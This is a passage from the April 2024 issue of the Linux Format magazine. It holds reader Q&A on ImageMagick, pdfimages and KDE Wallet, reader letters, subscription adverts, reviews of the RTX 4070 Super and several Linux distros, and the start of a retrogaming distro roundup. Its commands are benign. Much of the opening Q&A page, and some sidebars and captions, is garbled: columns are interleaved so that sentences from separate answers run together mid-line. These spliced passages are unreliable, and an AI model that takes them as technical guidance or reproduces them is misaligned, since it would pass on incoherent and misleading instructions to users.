$ convert file-1.png file-2.png... -append prompted for, when a program needs it. new user – you have to be the new user or
allinone.png You say the system appears to work root in order to write to their home, and if
If you used the % operator to give all normally, but you have no password you do this as root, don’t forget to change
the files the same length name, you can saving, except in programs that handle the ownership.
save typing them all out like this: it themselves. If you are happy with this You can see exactly what Bash is doing
$ convert file-????.png -append and simply want to get rid of the KDE when you start it up by running $ bash -v
allinone.png Wallet prompt, you can disable the wallet in an existing terminal. This shows the files
Finally, if a PDF has embedded images by opening System Settings, where you being read and the settings being applied.
and you wish to extract them, you can use will find KDE Wallet in the Personalisation There is one other file you can check: /etc/
PDFimages to extract them. section (or type wallet in the search box). default/useradd specifies some of the
$ pdfimages -png -j file.pdf output-file This has several settings covering the defaults for Useradd, including the shell
This once again produces a set of operation of the wallet, but you can also used when the user starts a session.
numbered files. The -png switch sets the disable it entirely by unticking the box at
default output file format to PNG while -j the top of this section. You can also do this GET HELP NOW!
overrides this for images that are stored by editing ~/.config/kwalletrc to change
as JPEGs within the PDF. These are saved Enabled=true to Enabled=false . We’d love to try to answer any questions
in their original JPEG format. PDFimages If you want to start using KDE Wallet, you send to [email protected], Subscriptions: for magazine issues email [email protected]
is part of the Poppler suite of PDF tools, you can’t use the existing default wallet no matter what the level. We’ve all been
which, as with ImageMagick, is installed by as you don’t know the password – you stuck before, so don’t be shy. However, we’re
default with desktop distros, so you do not need to create a new one. Open the KDE only human (and currently not using
need to install anything new. Wallet settings and launch the Wallet ChatGPT…), so it’s important that you include
Manager using the button at the bottom- as much information as you can. If

Q Walletless KDE
Every time I start up my Kubuntu
right. Create a new wallet, set a password,
then go back to the settings windows and
something works on one distro but not
another, tell us. If you get an error message,
computer. I get an annoying window from make this new wallet the default. Then please tell us the exact message and
KDE Wallet, asking for my password. I you can delete the old wallet in the Wallet precisely what you did to invoke it.
input my user password but I am told this Manager. Once you are prompted for the If you have, or suspect, a hardware
is incorrect. However, my system appears password, the wallet remains accessible problem, let us know about the hardware.
to function normally after this. What is for the duration of your session, although Consider installing hardinfo or lshw.
going on and how can I get rid of this KDE you can enable the setting to close it These programs list the hardware on your
Wallet that appears to do nothing useful? when the screensaver activates – a machine, so send us their output. If you’re
Christopher Marsden wise precaution if anyone else may have unwilling, or unable, to install these, run the
physical access to your computer. following commands in a root terminal and
A KDE Wallet is a central storage for send us the system.txt file, too:
passwords and other sensitive
information that is used by various
Q Different shell
Why is it when I create a new user
uname -a > system.txt
lspci >> system.txt
programs. The wallet does not use the using Useradd and set a password on lspci -vv >> system.txt
same password as the login for your user, that account, I get a completely different

www.techradar.com/pro/linux April 2024 LXF313 13


Mailserver
MAILSERVER

WRITE TO US Hi, performance I have two additions to the history, in case of


The latest LXF arrived yesterday, thanks. In it I saw a interest. Besides the IBM 704 platform that Mike
Do you have a note about Linux and high-performance computing, Bedford mentions, DEC’s PDP-12 was another
burning Linux-
which finally prompted me to extract my digit. A few computer that had a FORTRAN II compiler, in which
related issue
years ago, I wondered about whether to suggest a I wrote a suite of statistics programs while in grad
that you want to
discuss? Write series on the subject of parallel computation but never school long ago. And my understanding is that
to us at Linux managed to find a round tuit. MATLAB was originally written in FORTRAN, then
Format, Future If you run with this, I suggest that a three-month rewritten in C. I’ve assumed that that’s why MATLAB
Publishing, series be appropriate, in the style of numerous other starts vectors at location 1 (like FORTRAN) instead of
Quay House, topics LXF has covered. The last time I used Nvidia’s location 0 (like C). I imagine that the rewrite couldn’t
The Ambury, CUDA for anything non-trivial was 12 years ago and afford to break existing code.
Bath, BA1 1UA or things have changed markedly since then. More MATLAB can still call compiled FORTRAN
email letters@ politically correct, though, may be to use OpenCL for functions, which run faster than compiled MATLAB
linuxformat.com.
tutorial purposes as it is free software and does not or compiled C linked to the same MATLAB front-end,
require any dedicated hardware. I have never used according to a colleague who tested them.
OpenCL, unfortunately. Gregory A Miller, Chicago
Paul
Neil says…
Neil says… It’s fascinating to hear about everyone’s experiences
It’s interesting to see Intel’s new Arc GPUs scoring over the years. Keep writing in with them!
so well at OpenCL workloads. It seems like an
obvious win for Intel if it could try to win compute in Dualism
the server room, but it does look as though Nvidia is I’ve seen you say a number of times that using two
going to rule the roost for a long while yet, and you separate hard drives is better, because “it works
can’t deny that it deserves that with all the work it’s better”, without elaborating on exactly why. I’m
put into CUDA development. currently using a laptop with Windows Ubuntu
dual-booting on a single SSD, and it works just fine.
Fortranate Martin Milton
I just read Mike Bedford’s excellent article in LXF307. I
If you want low- appreciated the mention that FORTRAN routines are Neil says…
cost non-CUDA
GPU acceleration,
often used under the hood in other languages. I’ll enjoy An absolutely great question and you’re right, it’s
consider the Intel informing my graduate students, who are devoted to something we just throw out without really elaborating
Arc options. Python, that they’re sometimes using FORTRAN code. on it. But I should say that it’s because of space
constraints in the magazine, as it’s not a simple topic.
To be fair, modern SSDs have changed the storage
landscape, and if you have the room, dual-booting from
a single SSD is fine.
However, just to kick off, the first reason is for
moving partitions. If you had an existing Windows
install – often this is the scenario we’re dealing with –
you’d need to shrink the Windows install to make room
for the Linux install. It’s less risky, and quicker and
easier to drop in a second cheap SSD and install on
that. On top, the Windows UEFI bootloader needs to
be junked and replaced with dual-boot GRUB – which
is absolutely fine, but adding a second drive would
allow the Windows bootloader to remain unchanged,
Helpdex

14 LXF313 April 2024 www.linuxformat.com


MAILSERVER

because boot priority could be switched to the new starting with X10 in the early ’90s. I hope you really
Linux drive. Pre-GPT drives, partition numbers were think about how well you support new Linux users and
limited, but even so, it’s just neater using separate adjust future content to help us out.
drives and you can even swap out the drives to a new Mike Schellenberger
machine, which I’ve done.
Neil says…
Beginner unfriendly Sorry to hear you’re having a hard time with Linux.
I’m a recently retired software developer who started Rather than try to fire answers at you, I’ll concede we Try your distro’s
dabbling in computers in the late ’70s; you know, like could do a better job of supporting new users. But as native app store
first, but Flatpaks
Z80s and 6502s, which would be Sinclairs and you’ve found, Linux is a diverse world and it’s near are gaining
Commodore VIC 20 processors. I thought I would now impossible to offer generic help to first-timers. The popularity.
take the time to get off the Windows platform, so good news is that most distros do provide excellent
found your magazine and articles on moving to Linux. forum help for specific issues, like using the app store.
It was amazingly easy to take an old laptop and get I think you do pick up a common issue here in
Linux going and use the pre-installed apps, but that’s that Windows users tend to approach Linux like it’s
where it ended. As I sit here tonight after a few hours Windows – with a driver-first mentality. I certainly did
of trying to get DigiKam going on the latest Mint, after and it can be like hitting a brick wall. SMB shares is a
reading about it in LXF307, I thought I would write to great topic, and I’ll certainly take a look at that, while
you about the terrible process of trying to move to we have just covered printing, and I hope to go over
Linux. This is just one little simple thing out of so more nuts-and-bolts topics. We have covered Flatpaks
many that Linux makes HORRIBLE, and I’ve found no and the like when they first appeared (LXF234) but it’s
‘beginners’ help in your magazine since the articles likely time for a revisit. Please do let us know if you’ve
on moving to Linux from Windows. got any ideas or topics that you would like covering.
One really big issue has been the so many ways
to install apps – no article about Flatpaks, Snaps, Way-hey-land there!
AppImages and other ways to install, which vary Can you explain the whole X11 versus Wayland thing
across Linux versions. I don’t want to see articles on to me and why it matters? What even are they? I know
five different Linux releases – why would any person they’re somehow related to desktop environments
want to constantly see so many distributions? You and window managers, but why should I care?
It’s just so much
can really only use one or two at a time. So, back to Dan Ingmar easier dropping
DigiKam, I got the AppImage and figured out what it is in a second
and got it to run. So, next I thought I would create a Neil says… install drive…
desktop shortcut – and that’s where the past couple This is something we’ll cover
of hours went and I still can’t get a desktop icon to down the line, but X11 effectively
run the app, or a second one to run the app with a underlies everything you see
command-line option to show the editor. In this day, on the desktop, as well as
it is unacceptable to me to have to use file manager keyboard and mouse input.
and terminal windows and commands to start an app. It’s ancient (40 years
There’s a couple of other big issues you do not talk old) and comes with
about. It’s terribly difficult to get a printer going. How so much baggage –
do you connect to Windows shares? How do I share like a print server
Linux folders with Windows? There are four million – that’s it’s too
articles covering tens of Linux distros and none work. unwieldy and
I’ve read all your magazines for about a year now has security issues.
and can say I have really learned little to nothing about Wayland is the newer
Linux from them. All I look forward to now is the Pi replacement project, with a
stuff. I’ve been into home automation for many years, modern design approach.
[email protected]

www.techradar.com/pro/linux April 2024 LXF313 15


SUBSCRIBE Save money today!

and receive two


64GB USB sticks*
included with every print subscription

Five great reasons


to subscribe:
Carry your data with you on
two handy 64GB flash drives.
Never miss an issue of
Linux Format.
Receive every issue delivered
direct to your door before it’s
in stores.
Save 20% off the regular
magazine price.
NEW! Full digital access to all
prior and future issues when you
subscribe to the print edition.

SUBSCRIBE ONLINE AT
www.magazinesdirect.com/LIN/C79L
Or call 0330 333 1113 and quote C79L

16 LXF313 April 2024 www.linuxformat.com


Save money today! SUBSCRIBE

PLUS: Exclusive access to


the Linux Format subs area! **

1,000s of DRM-free
PDF back issues and
articles! Get instant
access back to issue
66 (May 2005) with
DON’T MISS
! tutorials, interviews,
Includes 5 ye
ars
of Linux User
& features and reviews.
Dev elop
issues
er
At linuxformat.com

CHOOSE YOUR PACKAGE!


Keep your subscription rolling!
PLUS!
New digital PRINT EDITION DIGITAL EDITION
access with print
subscriptions

OUTSIDE
THE UK?
Turn to page
for more grea61
subscriber t
deals!
SAVE!
20%
SAVE!

22
%

PLUS!
Only Only
£16.75 every 3 months
£25.99 every 6 months
3 issues of Linux Format in print 6 issues of Linux Format in digital
every 3 months, saving 20%! every 6 months, saving 22%!
With gift! Without gift!

Terms and conditions: Offer closes 30th April 2024. Offer open to new print UK subscribers only. Please allow up to six weeks for delivery of your first
subscription issue (up to eight weeks overseas). *Your gift will be delivered separately within 60 days after your first payment has cleared. Gifts only available
to subscribers on the UK mainland. Gift not available with a digital subscription. Gifts subject to availability. **Access to Linux Format subs area only available
to www.magazinesdirect.com subscribers. The full subscription rate is for 12 months (13 issues) and includes postage and packaging. If the magazine ordered
changes frequency per annum, we will honour the number of issues paid for, not the term of the subscription. For full terms and conditions, visit
www.magazinesdirect.com/terms. For enquiries please call: +44 (0) 330 333 1113. Lines are open Monday-Friday 9am-5pm UK time or email help@
magazinesdirect.com. Calls to 0330 numbers will be charged at no more than a national landline call, and may be included in your phone provider’s call bundle.

www.techradar.com/pro/linux April 2024 LXF313 17


From the best distros to system security, utilities and fun applications,
we’ve rounded up everything you could ever need
REVIEWS
GeForce RTX
4070 Super
Jarred Walton considers what’s so
super about mid-cycle updates.
ike clockwork, the Nvidia RTX 4070

L Super has arrived right on schedule. The


first of the mid-cycle 40-series Super We’re flashing back to The Fall and
refresh, the newcomer provides higher specs Rise of Reginald Perrin. Super! Great!
and higher performance than the existing non-
Super RTX 4070, for the same £579 – pushing For gaming compared to the last two 70-class
the 4070 RRP down to £529. It’s exactly what we Nvidia refreshes, the RTX 4070 Super beats the RTX
expected from Nvidia, building on the successful 3070 Ti by 43% overall, and outperforms the RTX
Ada Lovelace architecture. 2070 Super by 116% – more than double the
Two more Super models will arrive: the 4070 Ti performance. If you have a GPU from a couple of
Super and 4080 Super. But for most people, the generations back, there are plenty of good reasons
4070 Super will be the most enticing of the offerings. to upgrade – or you could just wait to see what the
If you were already on the fence and looking at the RTX 50-series has to offer, probably some time in
RTX 4070, the 4070 Super delivers an easy upgrade the first half of 2025.
option. At the same time, it comes with the same Looking at the AMD GPUs, overall the RTX 4070
potential issue as those cards: the 192-bit memory Super comes very close to matching the RX 7900 XT.
interface and 12GB of VRAM. In our testing, 12GB of That’s an impressive feat, considering it uses about
graphics memory with the larger L2 caches of the 100W less power, has a significantly smaller die size,
Ada architecture works fine, and you get equivalent comes with 40% less VRAM, and costs about £150
performance to the previous generation RTX 3090 for less. Against AMD’s next step down, the RX 7800 XT,
less than half the cost – and half the memory. It’s still the 4070 Super delivers 24% more performance,
33% less VRAM than AMD’s competing RX 7800 XT. for 20% more money. Taking ray tracing out of the
equation, AMD’s GPUs rank higher in rasterisation
Making new connections performance, which means the 4070 Super only
As for the specification, it’s the same 2,475MHz boost manages to outperform the 7800 XT by 8%, while
clock as the 4070 but with 22% more cores and a trailing the 7900 XT by 12%.
10% higher power consumption. It also has to use One of the most impressive things about Nvidia’s
the new(ish) 16-pin power connector, so you need Ada Lovelace architecture is just how efficient all of
an ATX 3.0 PSU, or otherwise use an adaptor, which the GPUs are – and, conversely, how much more
seems unnecessary on a 220W GPU. inefficient the competition is. The RTX 4070 Super
For Stable Diffusion benchmarks, the 4070 Super averaged 183W of power use at 1080p medium, 199W
lands right between the 4070 and 4070 Ti, offering at 1080p ultra, 210W at 1440p, and 216W at 4K. It’s
12% more performance than the 4070 and 11% less 90-100 watts less power than the competing RX 7900
performance than the 4070 Ti – this is at 512x512. XTX at every resolution.
AMD’s GPUs can in theory run larger LLMs as they
have more VRAM, but Nvidia offers far more AI
compute performance than AMD. The 4070 Super is
VERDICT
40% and 30% faster at 512x512 and 768x768 when DEVELOPER: Nvidia
compared with AMD’s current top GPU, the 7900 XTX. WEB: www.nvidia.com
For GPU-accelerated 3D rendering, Blender PRICE: £579
supports all main GPUs and can now leverage the
ray-tracing hardware, directly boosting Nvidia’s FEATURES 9/10 EASE OF USE 9/10
scores. So, it’s no surprise that Nvidia’s GPUs come PERFORMANCE 8/10 VALUE 7/10
out far ahead of AMD’s offerings, with the 4070 Super
running 84% faster than AMD’s 7900 XTX. Delivering the expected boost in speed over the older 4070,
For more general productivity, we use SPECview you pay 9% more for 16% more performance.
2020 v3 with the geometric mean of all eight tests.
In this, the 4070 Super only manages to match the Rating 8/10
RX 7600, and falls far behind the 7900 XT.

www.techradar.com/pro/linux April 2024 LXF313 19


REVIEWS Linux distribution

Linux Mint 21.3


Nate Drake keeps things Minty fresh with this incredibly intuitive and
powerful Linux distro. Be sure to add some spices.
riginally released in 2006,
IN BRIEF
Linux Mint
O Linux Mint is one of the
most popular distros.
is one of the This may be because it uses the
easiest distros Cinnamon desktop environment
to set up with a by default, which provides a more
classic interface familiar Windows-like interface for
as well as ‘spice’ newcomers to Linux.
enhancements. Alternative downloads are also
Another ringing available, which bundle the MATE
endorsement: and Xfce desktop environments.
it’s the OS that The latest version of Mint (code
our own Nate name Virginia) is an LTS release
Drake uses. based on Ubuntu 22.04 LTS, so will
be supported until April 2027. It
uses version 5.15 of the kernel.
SPECS Mint now comes with support Although the Snap Store is disabled, Mint’s own Software Manager supports both search and
CPU: 2GHz for Secure Boot and is compatible installation of Flatpak applications.
dual-core with a much wider range of BIOS/
Memory: EFI implementations dozen landscape backgrounds, including shots from
2GB (4GB The tools and framework that are used by the Linux China, Tuscany and Iceland.
recommended) Mint team to create its ISO images have been updated The team at Linux Mint has also made some small
HDD: and are now based on the latest version of live-build. but welcome changes to the OS’s own bundled apps.
20GB (100GB We downloaded the 3GB ISO of Linux Mint 21.3 and Mint’s login screen Slick Greeter now supports
recommended) tested the live environment in a virtual machine. We configuring the alignment of the login box.
Builds: x86_64 noted that as with the previous version, the Snap The Hypnotix TV player has also received some
Store is disabled. This has to do with the Mint team’s upgrades. You can now create a universal favourites list
concerns over auditing and patching software made of your TV channels across multiple countries, so you
available via what they see as Ubuntu’s commercialised can access your preferred channels much more easily.
store. You can re-enable and install the Snap Store via You can also now create your own custom TV channels
the command line if you wish. from a video URL, even if it’s not a live stream. It can
If you choose the default version of Mint, as we did, also run its own version of yt-dlp, so it’s less likely to
you benefit from the latest spices. These are nothing have compatibility issues streaming YouTube channels.
new, as for some time Cinnamon has supported spices Sticky, a notes app, supports DBUS commands now,
such as applets, which can be placed on the panel, and so you can manage notes from scripts or keybindings.
desklets, which do the same on the desktop. Mint’s own backup tool, Mintbackup, has also been
Cinnamon 6.0 introduces a new type of spice called tweaked, with its own header bar and an About dialog.
actions, add-ons for the file manager’s context menu. Crucially, future versions of Linux Mint will use the
This hugely expands its functionality. For example, same package base as Linux Mint 21.3 until 2024,
you can right-click an ISO and choose Make Bootable making the OS very simple to upgrade.
USB Stick. There’s also a new Verify action, which can
process checksums for downloaded ISOs. These are
Nemo actions care of the mintstick package.
VERDICT
The Cinnamon edition of Mint also now bundles DEVELOPER: Clément Lefèbvre and community
experimental support for Wayland sessions. You WEB: https://linuxmint.com
can try this by logging out and then choosing LICENCE: Mainly GPL
Wayland(experimental) from the login screen. From
our tests, it was clear this has a little way to go, as FEATURES 9/10 EASE OF USE 9/10
when we changed the screen resolution, the desktop PERFORMANCE 9/10 DOCUMENTATION 10/10
wallpaper didn’t expand accordingly. In fairness, we
were able to fix this by logging out and in again. The team at Mint has clearly gone all out with Virginia, with
While we’re on the subject, Mint 21.3 comes with even more ‘spices’ and overhauled native apps.
no fewer than 10 alternative Mint-themed desktop
backgrounds, though if you take a moment to peruse Rating 9/10
the Virginia section, you can also choose from over a

20 LXF313 April 2024 www.linuxformat.com


Linux distribution REVIEWS

AV Linux MXE-23.1
Nate Drake puts his ear to the ground to hear the latest
version of AV Linux, Enlightenment, rumbling into town.
V Linux is specifically
IN BRIEF
AV Linux
A designed for multimedia
content creators. As it’s
definitely offers based on Debian (in this case,
a comprehensive version 12 Bookworm), you could
suite of apps for use it for your daily driver, but the
multimedia distro’s main purpose is audio
production. The production and its kernel has been
manual and optimised towards this end. It will
welcome guide be supported until June 2028.
can help steer When reviewing distros, one of
you in, though the first things we do is check the
some details system requirements, to make sure
are missing. you are informed and to ensure it
will run well in our test machine.
We were able to discover the
SPECS fairly comprehensive AV Linux AV Linux now uses a customised version of the Enlightenment desktop. The icons on the right-
CPU: 2GHz Manual (https://bandshed.net/pdf/ hand side launch popular apps such as Audacity.
dual-core AVL-MXE-User-Manual.pdf) but it
Mem: 4GB makes no mention of this, so we’ve cobbled together users, so they have little choice but to download the
HDD: 5GB some specs based on what others have posted online. gigantic ISO and perform a fresh install of Enlightened.
Builds: i386, We also noted that the manual refers to a previous AV Linux MXE-23.1 uses version 6.6.9 of the
x86_64 version of AV Linux and was last updated in 2022. Liquorix Kernel, which is specifically designed with IRQ
We were eager to take AV Linux for a test spin, so threading for low latency compute in AV production.
booted the hefty 5.7GB in live mode in our virtual This makes it perfect for AV Linux’s stated purpose of
machine. This is where we discovered that the desktop helping users working with multimedia. Given that the
interface has been upgraded to Enlightenment, from Systemd debate isn’t going away (are you sure?–Ed),
which we assume the latest iteration of AV Linux gets you can choose between Systemd and Sysvinit. This
its code name. This is in contrast to previous versions, offers more leeway when handling system processes,
which used other desktops, such as LXDE and Xfce. but can only be actioned once the OS is installed.
Regarding apps, the OS is definitely the last word
Enlighten us in multimedia creation. For audio, aside from the
If you’ve used Enlightenment before, you’ll see that AV aforementioned Audacity, Ardour and Reaper 7,
Linux has adapted it to the OS’s needs; the right hand- Enlightened also bundles the EasyTag audio tag editor
side of the desktop contains a dedicated column of and music production software Harrison Mixbus 32C.
colourful icons for common apps such as Ardour, For video creation, beyond Blender you also benefit
Audacity, Avidemux, Blender, Openshot and Reaper 7. from a Swiss army knife of apps including the Kdenlive
Having criticised the piecemeal documentation, we video editor and OBS Studio, to name just a few.
were impressed by the welcome guide, which opened The OS also includes 1,000 FLOSS (Free/Libre Open
on first boot, offering helpful information such as links Source Software) and licensed demo audio plugins.
to the AVL-MXe and Enlightenment websites, as well
as tutorial videos and PipeWire settings.
Speaking of which, beneath the hood AV Linux
VERDICT
has also shifted to using PipeWire v1.0.0. Given the DEVELOPER: Glen MacArthur et al
move away from PulseAudio by other major Linux WEB: www.bandshed.net/avlinux
distros, this may not seem surprising. Still, PipeWire LICENCE: Unknown
solves an issue that had plagued Linux for years,
given that previously the OS had no fewer than three FEATURES 9/10 EASE OF USE 8/10
different ways to manage audio (PulseAudio, ALSA and PERFORMANCE 9/10 DOCUMENTATION 3/10
JACK). As PipeWire offers a universal method for apps
to establish media streams, it’s much better suited for The ultimate OS for multimedia production, with thousands
an OS designed for audio engineers. of apps and plugins, but the documentation could be clearer..
On the flip side, the shift to a new Debian base as
well as other changes, such as adopting PipeWire, Rating 7/10
means there’s no upgrade path for previous AV Linux

www.techradar.com/pro/linux April 2024 LXF313 21


REVIEWS Linux distribution

Solus 4.5 Resilience


Nate Drake’s Irish eyes are smiling at this latest offering from Solus,
with improvements to the desktop and under the hood.
olus (formerly Evolve OS)
IN BRIEF
Resilience
S is an independently
developed version of
by name and Linux and one of a handful to have
nature, Solus originated in Ireland. The most
has hugely recent version has multiple editions
expanded using the Cinnamon, Budgie
support for (pictured), Gnome and Plasma
multimedia and desktop environments. MATE was
graphics, clear previously supported but has been
documentation retired in favour of an experimental
and a simple edition using Xfce.
setup process. The OS follows a semi-rolling
Did we mention release model, with new updates
there are five landing in repositories every Friday.
different Ever eager, we downloaded the
desktop 2.5GB ISO of the Budgie edition For Budgie users, the dark theme desktop preference now also extends to apps.
environments? and tried it in live mode in a VM. We There’s also a dedicated Trash applet.
were immediately impressed with
how quickly Solus loaded (under 10 seconds). may explain how quickly the desktop loaded in our
SPECS Although we didn’t go through setup, Solus now test machine.
CPU: 1GHz incorporates the simple Calamares installer, when The kernel has also been modified to use the BORE
Mem: 4GB previously the team used its own, written in Python 2. (Burst-Oriented Response Enhancer) CPU Scheduler
HDD: 10GB This is welcome news, given how intuitive by default. In brief, BORE prioritises tasks requiring
Builds: x86_64 Calamares is to use. The release announcement high responsiveness, which can improve overall system
notes that this will simplify tasks such as choosing the responsiveness and enhance the user experience.
Btrfs filesystem or customising partition layouts. Mesa has also now been upgraded to 23.3.2. The
All editions of Resilience include Firefox 121.0, while advantages of this include Vulkan support for Intel
productivity is a breeze with LibreOffice 7.6.4.1 and the seventh and eighth generation CPUs, as well as ray-
default email client is Thunderbird 115.6.0. tracing support for Intel XE GPUs.
Media handling depends on which desktop Solus The edition we tested comes with Budgie 10.8.2,
has. In our Budgie edition, audio playback is handled by which has now extended the dark theme to include
Rhythmbox, while Celluloid manages videos. applications as well as the desktop itself. There’s also
You can install additional apps via Solus’s Software now a dedicated Budgie Trash applet. The Budgie
Center, as we did to install VLC Media Player to ensure Menu also now has much better results for users
the OS had all available multimedia playback codecs. entering fuzzy search terms, like ‘browser’ or ‘editor’.
Solus supports installation of both Flatpak and Snap Sadly, when we typed ‘help’ here, we only found the
packages. Its package manager, Eopkg, is actually default app for Gnome, not a link to Solus’s excellent
based on PiSi from the Turkish OS Pardus Linux. and easy-to-follow online documentation.
Under the hood, PulseAudio has been replaced with
PipeWire. This should result in small improvements,
such as better and more reliable Bluetooth audio.
VERDICT
Resilience also now ships with ROCm 5.5 for users DEVELOPER: Ikey Doherty, Joshua Strobl, Joey
with supported AMD hardware. This provides GPU Riches, Reilly Broga, Rune Morling et al
acceleration for graphics-intensive programs such as WEB: https://getsol.us
Blender. It also enables hardware-accelerated machine LICENCE: Mainly GPL or Apache
learning with support for PyTorch, Llama.cpp, Stable
Diffusion and many other AI tools. FEATURES 9/10 EASE OF USE 9/10
Although there is an LTS version using kernel 5.15, PERFORMANCE 9/10 DOCUMENTATION 9/10
the most recent iteration of Solus incorporates Linux
kernel 6.6.9. This brings a number of improvements to Solus has the luck of the Irish, with a lightning-fast load time,
Resilience, including better support for Bluetooth and slick setup and improved sound and graphics support.
sound drivers, as well as audio codecs.
Kernel modules are also no longer compressed Rating 9/10
during initramfs creation, reducing boot times, which

22 LXF313 April 2024 www.linuxformat.com


Linux distribution REVIEWS

SDesk 2024.01.26
Nate Drake discovers the new kid on the block, SDesk, including shiny
toys such as Wayland and a brand new browser.
Desk is one of the newest
IN BRIEF
SDesk is very
S versions of Linux we’ve
ever reviewed. The current
new, so we edition (2024.01.26) is only the
didn’t expect second stable release since
great things. December 2023.
Still, we Still, it has some impressive
appreciated the credentials, given that its creator
quick setup via Steve is also the author of the Blue
the Calamares programming language. According
installer. We to the main website, Blue is “cross
also enjoyed platform, portable, memory safe,
playing with small and reliable, with a fast and
the new Swirl efficient compiler”, so we expected
web browser. great things from SDesk.
As we were browsing the site,
we were impressed to see that The SDesk installer uses Calamares for a quick and easy setup. You can also manually partition
SPECS there’s a basic setup guide, as well and encrypt your hard disks if you wish.
CPU: 1GHz as more information on Blue and
Mem: 4GB the Swirl browser. However, we struggled to find any the list of search suggestions remained stubbornly
HDD: 8GB information about SDesk’s system requirements. In the on the page, forcing us to reload the window.
Builds: x86_64 end, we used trial and error with our virtual machine After running Swirl through EFF’s Cover Your Tracks,
settings to land on the specs you can see on the left. we also can’t stand completely by its claim of offering
SDesk is based on Arch Linux and uses the Gnome privacy, given that the site showed our Swirl browser
desktop. Given that most major distros are only taking had a unique fingerprint. In fairness, this is probably
their first tentative steps with Wayland, we’re delighted true of most new browsers with limited market share.
to see that SDesk defaults to Wayland sessions. Swirl is also proprietary software, though you are
allowed to download free copies for personal use.
No live performance Of course, SDesk users are also free to install an
Booting up the 2GB ISO, there’s only an option to install alternative browser if they wish. This is handled by
SDesk rather than try it in live mode. Fortunately, setup Octopi, a GUI front-end for Pacman that can handle
is handled by the intuitive Calamares installer. updates and install new apps. Octopi can easily be
This is covered in the SDesk online documentation launched from the Dash. When we did so, we were first
but more experienced Linux users can carry out more prompted to run a system update. Upon second launch,
complex tasks, such as manual partitioning. There’s Octopi offered a list of installable apps, including the
also support for encrypting the system partition. Firefox browser.
The install process took less than three minutes, On launching Firefox, we noted that by default the
and upon checking, we found SDesk’s footprint was desktop maximises app windows and hides the Dash
surprisingly light, taking up less than 8GB. at the bottom. This is actually our preference, but no
The email client is Geary, while productivity is doubt it can be changed via Gnome settings.
managed by the latest LibreOffice version. The default
Dash also contains Gnome’s Music and Calendar.
The default web browser is Swirl, an original
VERDICT
creation of Steve’s, the main developer of SDesk. On DEVELOPER: Steve Studios
firing it up, we noted that it seems to be built with WEB: www.stevestudios.ca
privacy in mind, given that it uses the DuckDuckGo LICENCE: GPL/Commercial
search engine by default. It also has features for
blocking tracking cookies and naturally incorporates FEATURES 8/10 EASE OF USE 7/10
incognito mode. PERFORMANCE 7/10 DOCUMENTATION 4/10
The SDesk website describes Swirl as “lightweight,
powerful, fast and beautiful” and says it “excels in We’d have liked more detailed documentation, but it’s easy to
simplicity, privacy and smoothness” – a lot of nouns set up and has excellent features, such as Wayland support.
and adjectives, so we put Swirl through its paces.
Upon entering a search term in the address bar, we Rating 7/10
found that even after we selected the right website,

www.techradar.com/pro/linux April 2024 LXF313 23


ROUNDUP Retrogaming
WE COMPARE TONS OF distros
STUFF SO YOU DON’T HAVE TO!

Michael Reed
can often be

Recalbox Batocera RetroArch found hunkered


down, reliving the
RetroPie Lakka glory days of his
misspent youth
with an emulator.

Retrogaming distros
Michael Reed takes a look at five different systems that
can turn a computer into a retrogaming paradise.

HOW WE TESTED…

We are primarily interested


in distros that work on a
desktop PC or a laptop, but
we also like to see setups
that work on single-board
computers, such as the
Raspberry Pi. Our test
machines are a mid-level
desktop PC with an Nvidia
graphics card and a
Raspberry Pi 400. It’s also
a point in a distribution’s
favour if it works on
handheld devices.
We used a fairly generic
USB game controller for
navigation around the user
interface and to actually play
the games. We also tested
with a TV-style remote
control with a small QWERTY
keyboard on the back, along
with the keyboards of both t’s time to sit back, switch on the Raspberry Pi into an emulator-powered
the Raspberry Pi 400
and the desktop PC.
I TV and relive the old days with a
game controller in hand. This month,
retrogaming system, and it features a lot of
customisation options. It can also be added
We could have relied on we’re comparing five systems that can turn a as a piece of software to a normal PC
CREDIT: Getty Images/Image Source

an Ethernet cable, but we computer into a full-on retrogaming system running a Linux distribution.
wanted to make sure that with an easy-to-use interface. RetroArch isn’t a distribution at all,
each system also worked Recalbox is a complete Linux distribution although it does power some of the
across Wi-Fi. in its own right, but it’s one with a primary retrogaming distributions. It can be installed
All of the systems used purpose of providing emulators of classic as standalone software on practically any
much the same type of machines, and it’s fronted by an easy-to-use, existing Linux desktop. It’s a good choice if
emulator cores, and they can retro-themed controller-driven interface. you’re a part-time gamer who needs to be
all handle emulating the Batocera covers similar ground and it, too, able to use your PC for day-to-day tasks. It’s
most common retro systems. offers a polished user interface. RetroPie also a good choice if you want to have total
is a distribution that was created to turn a customisation control.

24 LXF313 April 2024 www.linuxformat.com


Retrogaming distros ROUNDUP

Installation and
platform support
The supported platforms and
devices, and the ease of installation.
e’re looking for a good installation experience when

W installing on a standard PC, but we’re also interested in


support for other platforms such as the Raspberry Pi. As well as the usual installation methods, a Batocera installation has a built-in
RetroPie is a complete distro for the Raspberry Pi and a few installer of its own. You could use it to set up another Batocera machine.
other single-board computers (SBCs). To install it, you write the
IMG file to an SD card. On first run, RetroPie expands the own installer, built into the interface, that can fetch the required
partition to fill the SD card, requiring a reboot before use. It can image for the target platform and write it to the boot media.
be installed on a PC, but installation is rather convoluted as it Recalbox is installed by writing an image file to a bootable
involves installing RetroPie on an existing Ubuntu/Debian Linux medium such as an SD card or a USB flash drive. The supported
installation. It would be up to you to set RetroPie to launch on platforms are extensive, including desktop PCs, a variety of
boot for full-screen use without a keyboard or mouse. SBCs, such as the Raspberry Pi, and a few handhelds.
Much the same can be said for RetroArch on a PC, as it is a Lakka works in much the same way as the other distros. The
piece of software rather than a distro. However, if you can get a download section has a good variety of images supporting a
Linux installation with full driver support up and running on a range of handhelds, SBCs and a generic PC.
platform, you should be able to get RetroArch running on top.
We installed it via Flatpak, but other packages, such as Snap, are VERDICT
available. The basic configuration is minimalistic. For example, it
has no actual emulator cores installed by default. However, it’s RECALBOX 8/10 RETROPIE 6/10
easy to add these cores, as needed, from within the interface. BATOCERA 9/10 LAKKA 8/10
The Batocera website contains images for a large variety of RETROARCH 6/10
Linux-compatible handhelds in addition to the more common RetroArch and RetroPie are complicated to install to a standard PC,
platforms such as a Raspberry Pi or a desktop PC. It even has its which is our primary interest. The other options fared better.

Controller and
network setup
These are essential configuration
options for most people.
ontroller setup in Lakka is a bit fiddly as it imposes a

C time limit to assign each button and axis – frustrating


while you try to work out which control is which. A
QWERTY keyboard was supported properly on the odd occasion The RetroArch controller configuration is easy to use. The networking setup,
